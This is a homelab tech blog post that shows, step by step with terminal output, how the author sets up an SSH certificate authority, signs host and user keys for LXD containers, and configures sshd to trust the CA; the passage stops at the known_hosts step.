# ITmatic101 - Tech Blog
**Author**: Tyla Lin\
**LinkedIn**: \
**YouTube**: \
**Email**:
# SSH certificate authentication
My increasing reliance on SSH key authentication has highlighted its scalability challenges. Although a substantial improvement over password authentication, the inherent difficulties in managing and distributing keys prevent quick and efficient scaling. Consequently, I've been researching more scalable SSH authentication solutions. This is how I came across SSH certificate authentication, and I'm particularly intrigued by it due to its numerous advantages.
## Certificate Authority
For the Certificate Authority (CA), I will use my host machine so that I don't need to spin up another dedicated LXC container for CA functionality. Here is how I prepare my CA setup.
```bash
# Generate a ssh private/public key pair for CA
tyla@e32:~/ssh/ca$ ssh-keygen -t rsa -f homelab_ssh_ca -C "Homelab SSH CA"
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in homelab_ssh_ca
Your public key has been saved in homelab_ssh_ca.pub
The key fingerprint is:
SHA256:UKnsJE3QJQPfrEe2+P6BVz9SNN1wIq3b3FGdIQ0hpk8 Homelab SSH CA
The key's randomart image is:
+---[RSA 3072]----+
| o+o.o. o.=*.=|
| .o*. o ..oB+|
| +o.=. E .o +|
| . =* .o .. o |
| +o S ..+...|
| .o . ..oo .|
| o o . o |
| . . . . . |
| ... |
+----[SHA256]-----+
tyla@e32:~/ssh/ca$ ll
total 16
drwxrwxr-x 2 tyla tyla 4096 May 25 21:18 ./
drwxr--r-- 3 tyla tyla 4096 May 25 12:51 ../
-rw------- 1 tyla tyla 2602 May 25 21:18 homelab_ssh_ca
-rw-r--r-- 1 tyla tyla 568 May 25 21:18 homelab_ssh_ca.pub
tyla@e32:~/ssh/ca$ cat homelab_ssh_ca.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCd1bStWHNLF5fJqNFxCwcsFv9NWXnhgA2tvkWIQHeVHe8b3Hen9710i8083sq/gwKXQJpQ4gywdDVjsRsn6QIZGZ6iqqSZ0sEHS4zRzFCzRqTq5iPQ7TvWLzPabXo/AYY8ia/QtXu9Wigq2ePMA76WykCkg4LCz0DaSfQ59BvAi5iupEbyUQul4FULyI9fb3zO2CuFDnCzKC+g0iXKWpYC30edsr3qAIQvO2VK+qPK7xictEEkjDAQX+FqlqWOuobz+qc/hfm7y1rH8nikCoZ9lbS3ZDiOEBxtJH8thukGFnwdF6jueol+skpiKWSPq7MpxJ3YvN1QoQGKV/vaeBIFEmUVl8wR8Qb6SSqq44OBqyju7Z4aaCn94sIXTEHjTzuFEj1eaOXinygYW3RiwF6HHmythVWac7qnkw0uXIOQPlqYqt6HrYjRtFTbuTXFf9srhO5cjben/lllqjMUZcQu/RRC/Wz8anGDPmk/t78bUo3qch6MTo9vPqXgAixFD58= Homelab SSH CA
```
## Lab environment setup with LXD
Prior to outlining the configuration steps, there are two preparatory actions I'd like to take. The first is to launch three LXC containers, specifically named server1, server2, and client1. The second is to retrieve the IP addresses of these containers to facilitate DNS configuration via the `/etc/hosts` file.
* Spin up server1, server2 and client1 LXC containers.
```bash
# Spin up 2 LXC containers for server1 and server2
tyla@e32:~$ for i in {1..2}; do lxc launch ubuntu:24.04 server$i; done
Launching server1
Launching server2
# Spin up a LXC container for client1
tyla@e32:~$ lxc launch ubuntu:24.04 client1
Launching client1
# Check the IP Addresses
tyla@e32:~$ lxc list
+---------+---------+---------------------+-----------------------------------------------+-----------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+---------+---------+---------------------+-----------------------------------------------+-----------+-----------+
| client1 | RUNNING | 10.18.34.46 (eth0) | fd42:2751:df65:31e1:216:3eff:fea7:ec91 (eth0) | CONTAINER | 0 |
+---------+---------+---------------------+-----------------------------------------------+-----------+-----------+
| server1 | RUNNING | 10.18.34.5 (eth0) | fd42:2751:df65:31e1:216:3eff:fec6:b1ec (eth0) | CONTAINER | 0 |
+---------+---------+---------------------+-----------------------------------------------+-----------+-----------+
| server2 | RUNNING | 10.18.34.232 (eth0) | fd42:2751:df65:31e1:216:3eff:fe4b:6237 (eth0) | CONTAINER | 0 |
+---------+---------+---------------------+-----------------------------------------------+-----------+-----------+
# Update /etc/hosts file accordingly
tyla@e32:~$ sudo vi /etc/hosts
127.0.0.1 localhost
127.0.1.1 e32
10.18.34.5 server1 server1.home.lab
10.18.34.232 server2 server2.home.lab
10.18.34.46 client1 client1.home.lab
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
# Verify if the DNS names work
tyla@e32:~$ ping server1.home.lab
PING server1 (10.18.34.5) 56(84) bytes of data.
64 bytes from server1 (10.18.34.5): icmp_seq=1 ttl=64 time=0.047 ms
^C
--- server1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.047/0.047/0.047/0.000 ms
tyla@e32:~$ ping server2.home.lab
PING server2 (10.18.34.232) 56(84) bytes of data.
64 bytes from server2 (10.18.34.232): icmp_seq=1 ttl=64 time=0.051 ms
^C
--- server2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.051/0.051/0.051/0.000 ms
tyla@e32:~$ ping client1.home.lab
PING client1 (10.18.34.46) 56(84) bytes of data.
64 bytes from client1 (10.18.34.46): icmp_seq=1 ttl=64 time=0.050 ms
^C
--- client1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.050/0.050/0.050/0.000 ms
```
## Server-side setup
Here is how we configure server-side ssh setup.
* Fetch the server1's `/etc/ssh/ssh_host_rsa_key.pub`
```bash
tyla@e32:~/ssh/ca$ scp ubuntu@server1:/etc/ssh/ssh_host_rsa_key.pub .
ssh_host_rsa_key.pub 100% 566 1.1MB/s 00:00
```
* Sign the host public key with CA's private key.
```bash
tyla@e32:~/ssh/ca$ ssh-keygen -s homelab_ssh_ca -I server1 -V +52w -h -n server1.home.lab ssh_host_rsa_key.pub
Signed host key ssh_host_rsa_key-cert.pub: id "server1" serial 0 for server1.home.lab valid from 2025-05-25T21:22:00 to 2026-05-24T21:23:51
```
* Move the signed host public key and CA public key back to server1's `/etc/ssh/` directory, and configure ssh daemon.
```bash
tyla@e32:~/ssh/ca$ scp ssh_host_rsa_key-cert.pub ubuntu@server1:
ssh_host_rsa_key-cert.pub 100% 1855 4.8MB/s 00:00
tyla@e32:~/ssh/ca$ scp homelab_ssh_ca.pub ubuntu@server1:
homelab_ssh_ca.pub 100% 568 1.5MB/s 00:00
tyla@e32:~/ssh/ca$ ssh ubuntu@server1
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun May 25 11:25:02 UTC 2025
System load: 0.16
Usage of /: 2.8% of 17.60GB
Memory usage: 0%
Swap usage: 0%
Temperature: 40.0 C
Processes: 28
Users logged in: 1
IPv4 address for eth0: 10.18.34.5
IPv6 address for eth0: fd42:2751:df65:31e1:216:3eff:fec6:b1ec
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Sun May 25 11:19:56 2025 from 10.18.34.1
ubuntu@server1:~$ ll
total 14
drwxr-x--- 4 ubuntu ubuntu 11 May 25 11:25 ./
drwxr-xr-x 3 root root 3 May 25 09:52 ../
-rw------- 1 ubuntu ubuntu 628 May 25 11:25 .bash_history
-rw-r--r-- 1 ubuntu ubuntu 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Mar 31 2024 .bashrc
drwx------ 2 ubuntu ubuntu 3 May 25 10:19 .cache/
-rw-r--r-- 1 ubuntu ubuntu 807 Mar 31 2024 .profile
drwx------ 2 ubuntu ubuntu 3 May 25 09:52 .ssh/
-rw-r--r-- 1 ubuntu ubuntu 0 May 25 10:26 .sudo_as_admin_successful
-rw-r--r-- 1 ubuntu ubuntu 96 May 25 11:13 homelab_ssh_ca.pub
-rw-r--r-- 1 ubuntu ubuntu 1855 May 25 11:25 ssh_host_rsa_key-cert.pub
-rw-r--r-- 1 ubuntu ubuntu 568 May 25 11:27 homelab_ssh_ca.pub
ubuntu@server1:~$ sudo mv *.pub /etc/ssh/
ubuntu@server1:~$ cd /etc/ssh/
ubuntu@server1:/etc/ssh$ ll
total 65
drwxr-xr-x 4 root root 16 May 25 11:28 ./
drwxr-xr-x 104 root root 196 May 25 10:58 ../
-rw-r--r-- 1 ubuntu ubuntu 568 May 25 11:27 homelab_ssh_ca.pub
-rw-r--r-- 1 root root 620042 Apr 22 11:51 moduli
-rw-r--r-- 1 root root 1649 Apr 22 11:51 ssh_config
drwxr-xr-x 2 root root 2 Apr 22 11:51 ssh_config.d/
-rw------- 1 root root 505 May 25 09:52 ssh_host_ecdsa_key
-rw-r--r-- 1 root root 174 May 25 09:52 ssh_host_ecdsa_key.pub
-rw------- 1 root root 399 May 25 09:52 ssh_host_ed25519_key
-rw-r--r-- 1 root root 94 May 25 09:52 ssh_host_ed25519_key.pub
-rw------- 1 root root 2602 May 25 09:52 ssh_host_rsa_key
-rw-r--r-- 1 ubuntu ubuntu 1855 May 25 11:25 ssh_host_rsa_key-cert.pub
-rw-r--r-- 1 root root 566 May 25 09:52 ssh_host_rsa_key.pub
-rw-r--r-- 1 root root 342 Dec 7 2020 ssh_import_id
-rw-r--r-- 1 root root 3349 May 25 11:14 sshd_config
drwxr-xr-x 2 root root 3 May 16 12:54 sshd_config.d/
ubuntu@server1:/etc/ssh$ sudo chown root:root homelab_ssh_ca.pub
ubuntu@server1:/etc/ssh$ sudo chown root:root ssh_host_rsa_key-cert.pub
ubuntu@server1:/etc/ssh$ ll
total 65
drwxr-xr-x 4 root root 16 May 25 11:28 ./
drwxr-xr-x 104 root root 196 May 25 10:58 ../
-rw-r--r-- 1 root root 568 May 25 11:27 homelab_ssh_ca.pub
-rw-r--r-- 1 root root 620042 Apr 22 11:51 moduli
-rw-r--r-- 1 root root 1649 Apr 22 11:51 ssh_config
drwxr-xr-x 2 root root 2 Apr 22 11:51 ssh_config.d/
-rw------- 1 root root 505 May 25 09:52 ssh_host_ecdsa_key
-rw-r--r-- 1 root root 174 May 25 09:52 ssh_host_ecdsa_key.pub
-rw------- 1 root root 399 May 25 09:52 ssh_host_ed25519_key
-rw-r--r-- 1 root root 94 May 25 09:52 ssh_host_ed25519_key.pub
-rw------- 1 root root 2602 May 25 09:52 ssh_host_rsa_key
-rw-r--r-- 1 root root 1855 May 25 11:25 ssh_host_rsa_key-cert.pub
-rw-r--r-- 1 root root 566 May 25 09:52 ssh_host_rsa_key.pub
-rw-r--r-- 1 root root 342 Dec 7 2020 ssh_import_id
-rw-r--r-- 1 root root 3349 May 25 11:14 sshd_config
drwxr-xr-x 2 root root 3 May 16 12:54 sshd_config.d/
ubuntu@server1:/etc/ssh$ sudo -i
root@server1:~# echo "HostCertificate /etc/ssh/ssh_host_rsa_key-cert.pub" >> /etc/ssh/sshd_config
root@server1:~# echo "TrustedUserCAKeys /etc/ssh/homelab_ssh_ca.pub" >> /etc/ssh/sshd_config
root@server1:~# cat /etc/ssh/sshd_config
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.
# This sshd was compiled with PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
# default value.
Include /etc/ssh/sshd_config.d/*.conf
#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::
#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key
# Ciphers and keying
#RekeyLimit default none
# Logging
#SyslogFacility AUTH
#LogLevel INFO
# Authentication:
#LoginGraceTime 2m
#PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10
#PubkeyAuthentication yes
# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2
#AuthorizedPrincipalsFile none
#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody
# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
# HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes
# To disable tunneled clear text passwords, change to no here!
#PasswordAuthentication yes
#PermitEmptyPasswords no
# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
KbdInteractiveAuthentication no
# Kerberos options
#KerberosAuthentication no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
#KerberosGetAFSToken no
# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes
#GSSAPIStrictAcceptorCheck yes
#GSSAPIKeyExchange no
# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the KbdInteractiveAuthentication and
# PasswordAuthentication. Depending on your PAM configuration,
# PAM authentication via KbdInteractiveAuthentication may bypass
# the setting of "PermitRootLogin prohibit-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and KbdInteractiveAuthentication to 'no'.
UsePAM yes
#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
X11Forwarding yes
#X11DisplayOffset 10
#X11UseLocalhost yes
#PermitTTY yes
PrintMotd no
#PrintLastLog yes
#TCPKeepAlive yes
#PermitUserEnvironment no
#Compression delayed
#ClientAliveInterval 0
#ClientAliveCountMax 3
#UseDNS no
#PidFile /run/sshd.pid
#MaxStartups 10:30:100
#PermitTunnel no
#ChrootDirectory none
#VersionAddendum none
# no default banner path
#Banner none
# Allow client to pass locale environment variables
AcceptEnv LANG LC_*
# override default of no subsystems
Subsystem sftp /usr/lib/openssh/sftp-server
# Example of overriding settings on a per-user basis
#Match User anoncvs
# X11Forwarding no
# AllowTcpForwarding no
# PermitTTY no
# ForceCommand cvs server
HostCertificate /etc/ssh/ssh_host_rsa_key-cert.pub
TrustedUserCAKeys /etc/ssh/homelab_ssh_ca.pub
root@server1:~# systemctl restart ssh
root@server1:~# systemctl status ssh
● ssh.service - OpenBSD Secure Shell server
Loaded: loaded (/usr/lib/systemd/system/ssh.service; disabled; preset: enabled)
Active: active (running) since Sun 2025-05-25 11:36:47 UTC; 5s ago
TriggeredBy: ● ssh.socket
Docs: man:sshd(8)
man:sshd_config(5)
Process: 1112 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
Main PID: 1114 (sshd)
Tasks: 1 (limit: 38326)
Memory: 1.2M (peak: 1.6M)
CPU: 21ms
CGroup: /system.slice/ssh.service
└─1114 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
May 25 11:36:47 server1 systemd[1]: Starting ssh.service - OpenBSD Secure Shell server...
May 25 11:36:47 server1 sshd[1114]: Server listening on :: port 22.
May 25 11:36:47 server1 systemd[1]: Started ssh.service - OpenBSD Secure Shell server.
root@server1:~# vi /etc/hosts
127.0.0.1 localhost
10.18.34.5 server1 server1.home.lab
10.18.34.232 server2 server2.home.lab
10.18.34.46 client1 client1.home.lab
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts
root@server1:~#
logout
ubuntu@server1:/etc/ssh$
logout
Connection to server1 closed.
# Cleanup host public key from server1
tyla@e32:~/ssh/ca$ rm ssh_host*
```
* Repeat the same configuration process on server2.
```bash
tyla@e32:~/ssh/ca$ scp ubuntu@server2:/etc/ssh/ssh_host_rsa_key.pub .
ssh_host_rsa_key.pub 100% 566 1.0MB/s 00:00
tyla@e32:~/ssh/ca$ ssh-keygen -s homelab_ssh_ca -I server2 -V +52w -h -n server2.home.lab ssh_host_rsa_key.pub
Signed host key ssh_host_rsa_key-cert.pub: id "server2" serial 0 for server2.home.lab valid from 2025-05-25T21:40:00 to 2026-05-24T21:40:59
tyla@e32:~/ssh/ca$ scp ssh_host_rsa_key-cert.pub ubuntu@server2:
ssh_host_rsa_key-cert.pub 100% 1855 5.2MB/s 00:00
tyla@e32:~/ssh/ca$ scp homelab_ssh_ca.pub ubuntu@server2:
homelab_ssh_ca.pub 100% 568 1.9MB/s 00:00
tyla@e32:~/ssh/ca$ ssh ubuntu@server2
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun May 25 11:42:37 UTC 2025
System load: 1.03
Usage of /: 2.8% of 17.60GB
Memory usage: 0%
Swap usage: 0%
Temperature: 38.0 C
Processes: 22
Users logged in: 0
IPv4 address for eth0: 10.18.34.232
IPv6 address for eth0: fd42:2751:df65:31e1:216:3eff:fe4b:6237
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Sun May 25 10:53:27 2025 from 10.18.34.1
ubuntu@server2:~$ ll
total 15
drwxr-x--- 4 ubuntu ubuntu 11 May 25 11:42 ./
drwxr-xr-x 3 root root 3 May 25 09:52 ../
-rw------- 1 ubuntu ubuntu 223 May 25 10:57 .bash_history
-rw-r--r-- 1 ubuntu ubuntu 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Mar 31 2024 .bashrc
drwx------ 2 ubuntu ubuntu 3 May 25 10:38 .cache/
-rw-r--r-- 1 ubuntu ubuntu 807 Mar 31 2024 .profile
drwx------ 2 ubuntu ubuntu 3 May 25 09:52 .ssh/
-rw-r--r-- 1 ubuntu ubuntu 0 May 25 10:39 .sudo_as_admin_successful
-rw-r--r-- 1 ubuntu ubuntu 568 May 25 11:42 homelab_ssh_ca.pub
-rw-r--r-- 1 ubuntu ubuntu 1855 May 25 11:42 ssh_host_rsa_key-cert.pub
ubuntu@server2:~$ sudo mv *.pub /etc/ssh/
ubuntu@server2:~$ cd /etc/ssh
ubuntu@server2:/etc/ssh$ ll
total 66
drwxr-xr-x 4 root root 17 May 25 11:43 ./
drwxr-xr-x 104 root root 196 May 25 10:57 ../
-rw-r--r-- 1 ubuntu ubuntu 568 May 25 11:42 homelab_ssh_ca.pub
-rw-r--r-- 1 root root 620042 Apr 22 11:51 moduli
-rw-r--r-- 1 root root 1649 Apr 22 11:51 ssh_config
drwxr-xr-x 2 root root 2 Apr 22 11:51 ssh_config.d/
-rw------- 1 root root 505 May 25 09:52 ssh_host_ecdsa_key
-rw-r--r-- 1 root root 174 May 25 09:52 ssh_host_ecdsa_key.pub
-rw------- 1 root root 399 May 25 09:52 ssh_host_ed25519_key
-rw-r--r-- 1 root root 94 May 25 09:52 ssh_host_ed25519_key.pub
-rw------- 1 root root 2602 May 25 09:52 ssh_host_rsa_key
-rw-r--r-- 1 ubuntu ubuntu 1855 May 25 11:42 ssh_host_rsa_key-cert.pub
-rw-r--r-- 1 root root 566 May 25 09:52 ssh_host_rsa_key.pub
-rw-r--r-- 1 root root 342 Dec 7 2020 ssh_import_id
-rw-r--r-- 1 root root 3310 May 25 10:47 sshd_config
drwxr-xr-x 2 root root 3 May 16 12:54 sshd_config.d/
ubuntu@server2:/etc/ssh$ sudo chown root:root homelab_ssh_ca.pub
ubuntu@server2:/etc/ssh$ sudo chown root:root ssh_host_rsa_key-cert.pub
ubuntu@server2:/etc/ssh$ ll
total 66
drwxr-xr-x 4 root root 17 May 25 11:43 ./
drwxr-xr-x 104 root root 196 May 25 10:57 ../
-rw-r--r-- 1 root root 568 May 25 11:42 homelab_ssh_ca.pub
-rw-r--r-- 1 root root 620042 Apr 22 11:51 moduli
-rw-r--r-- 1 root root 1649 Apr 22 11:51 ssh_config
drwxr-xr-x 2 root root 2 Apr 22 11:51 ssh_config.d/
-rw------- 1 root root 505 May 25 09:52 ssh_host_ecdsa_key
-rw-r--r-- 1 root root 174 May 25 09:52 ssh_host_ecdsa_key.pub
-rw------- 1 root root 399 May 25 09:52 ssh_host_ed25519_key
-rw-r--r-- 1 root root 94 May 25 09:52 ssh_host_ed25519_key.pub
-rw------- 1 root root 2602 May 25 09:52 ssh_host_rsa_key
-rw-r--r-- 1 root root 1855 May 25 11:42 ssh_host_rsa_key-cert.pub
-rw-r--r-- 1 root root 566 May 25 09:52 ssh_host_rsa_key.pub
-rw-r--r-- 1 root root 342 Dec 7 2020 ssh_import_id
-rw-r--r-- 1 root root 3310 May 25 10:47 sshd_config
drwxr-xr-x 2 root root 3 May 16 12:54 sshd_config.d/
ubuntu@server2:/etc/ssh$ sudo -i
root@server2:~# echo "HostCertificate /etc/ssh/ssh_host_rsa_key-cert.pub" >> /etc/ssh/sshd_config
root@server2:~# echo "TrustedUserCAKeys /etc/ssh/homelab_ssh_ca.pub" >> /etc/ssh/sshd_config
root@server2:~# cat /etc/ssh/sshd_config
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.
# This sshd was compiled with PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
# default value.
Include /etc/ssh/sshd_config.d/*.conf
#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::
#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key
# Ciphers and keying
#RekeyLimit default none
# Logging
#SyslogFacility AUTH
#LogLevel INFO
# Authentication:
#LoginGraceTime 2m
#PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10
#PubkeyAuthentication yes
# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2
#AuthorizedPrincipalsFile none
#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody
# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
# HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes
# To disable tunneled clear text passwords, change to no here!
#PasswordAuthentication yes
#PermitEmptyPasswords no
# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
KbdInteractiveAuthentication no
# Kerberos options
#KerberosAuthentication no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
#KerberosGetAFSToken no
# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes
#GSSAPIStrictAcceptorCheck yes
#GSSAPIKeyExchange no
# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the KbdInteractiveAuthentication and
# PasswordAuthentication. Depending on your PAM configuration,
# PAM authentication via KbdInteractiveAuthentication may bypass
# the setting of "PermitRootLogin prohibit-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and KbdInteractiveAuthentication to 'no'.
UsePAM yes
#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
X11Forwarding yes
#X11DisplayOffset 10
#X11UseLocalhost yes
#PermitTTY yes
PrintMotd no
#PrintLastLog yes
#TCPKeepAlive yes
#PermitUserEnvironment no
#Compression delayed
#ClientAliveInterval 0
#ClientAliveCountMax 3
#UseDNS no
#PidFile /run/sshd.pid
#MaxStartups 10:30:100
#PermitTunnel no
#ChrootDirectory none
#VersionAddendum none
# no default banner path
#Banner none
# Allow client to pass locale environment variables
AcceptEnv LANG LC_*
# override default of no subsystems
Subsystem sftp /usr/lib/openssh/sftp-server
# Example of overriding settings on a per-user basis
#Match User anoncvs
# X11Forwarding no
# AllowTcpForwarding no
# PermitTTY no
# ForceCommand cvs server
HostCertificate /etc/ssh/ssh_host_rsa_key-cert.pub
TrustedUserCAKeys /etc/ssh/homelab_ssh_ca.pub
root@server2:~# systemctl restart ssh
root@server2:~# systemctl status ssh
● ssh.service - OpenBSD Secure Shell server
Loaded: loaded (/usr/lib/systemd/system/ssh.service; disabled; preset: enabled)
Active: active (running) since Sun 2025-05-25 11:51:22 UTC; 3s ago
TriggeredBy: ● ssh.socket
Docs: man:sshd(8)
man:sshd_config(5)
Process: 814 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
Main PID: 816 (sshd)
Tasks: 1 (limit: 38326)
Memory: 1.2M (peak: 1.5M)
CPU: 22ms
CGroup: /system.slice/ssh.service
└─816 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
May 25 11:51:22 server2 systemd[1]: Starting ssh.service - OpenBSD Secure Shell server...
May 25 11:51:22 server2 sshd[816]: Server listening on :: port 22.
May 25 11:51:22 server2 systemd[1]: Started ssh.service - OpenBSD Secure Shell server.
root@server2:~# vi /etc/hosts
127.0.0.1 localhost
10.18.34.5 server1 server1.home.lab
10.18.34.232 server2 server2.home.lab
10.18.34.46 client1 client1.home.lab
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts
# Cleanup host public key from server2
tyla@e32:~/ssh/ca$ rm ssh_host*
```
## Client-side setup
Here is how the client-side configured.
* Generate RSA key pair on client1 and sign its public key with CA private key, then moved the signed public key back to the client1.
```bash
tyla@e32:~/ssh/ca$ ssh ubuntu@client1
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun May 25 11:54:49 UTC 2025
System load: 0.88
Usage of /: 2.8% of 17.60GB
Memory usage: 0%
Swap usage: 0%
Temperature: 41.0 C
Processes: 22
Users logged in: 0
IPv4 address for eth0: 10.18.34.46
IPv6 address for eth0: fd42:2751:df65:31e1:216:3eff:fea7:ec91
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Sun May 25 11:17:19 2025 from 10.18.34.1
ubuntu@client1:~$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/ubuntu/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/ubuntu/.ssh/id_rsa
Your public key has been saved in /home/ubuntu/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:y46bZgUA0tE+ISoOVDTOT/k1NAI8di5rMngpNsDn2wk ubuntu@client1
The key's randomart image is:
+---[RSA 3072]----+
|..=B.... o |
| o= =+..o . |
|o. =.=+ o |
|=. .=.o.. . |
|= + .oooS |
| * E o ... |
|. + B ..o |
| . oo+ |
| o+.. |
+----[SHA256]-----+
ubuntu@client1:~$
logout
Connection to client1 closed.
tyla@e32:~/ssh/ca$ scp ubuntu@client1:.ssh/id_rsa.pub .
id_rsa.pub 100% 568 1.3MB/s 00:00
tyla@e32:~/ssh/ca$ ll
total 20
drwxrwxr-x 2 tyla tyla 4096 May 25 21:57 ./
drwxr--r-- 3 tyla tyla 4096 May 25 12:51 ../
-rw------- 1 tyla tyla 2602 May 25 21:18 homelab_ssh_ca
-rw-r--r-- 1 tyla tyla 568 May 25 21:18 homelab_ssh_ca.pub
-rw-r--r-- 1 tyla tyla 568 May 25 21:57 id_rsa.pub
tyla@e32:~/ssh/ca$ ssh-keygen -s homelab_ssh_ca -I client1 -n ubuntu -V +52w id_rsa.pub
Signed user key id_rsa-cert.pub: id "client1" serial 0 for ubuntu valid from 2025-05-25T22:00:00 to 2026-05-24T22:01:24
tyla@e32:~/ssh/ca$ ll
total 24
drwxrwxr-x 2 tyla tyla 4096 May 25 22:01 ./
drwxr--r-- 3 tyla tyla 4096 May 25 12:51 ../
-rw------- 1 tyla tyla 2602 May 25 21:18 homelab_ssh_ca
-rw-r--r-- 1 tyla tyla 568 May 25 21:18 homelab_ssh_ca.pub
-rw-r--r-- 1 tyla tyla 2017 May 25 22:01 id_rsa-cert.pub
-rw-r--r-- 1 tyla tyla 568 May 25 21:57 id_rsa.pub
tyla@e32:~/ssh/ca$ scp id_rsa-cert.pub ubuntu@client1:.ssh/
id_rsa-cert.pub 100% 2017 5.4MB/s 00:00
```
* Create `/etc/ssh/ssh_known_hosts` file with CA public key for Trust On First Use (TOFU) identity verification process.
```
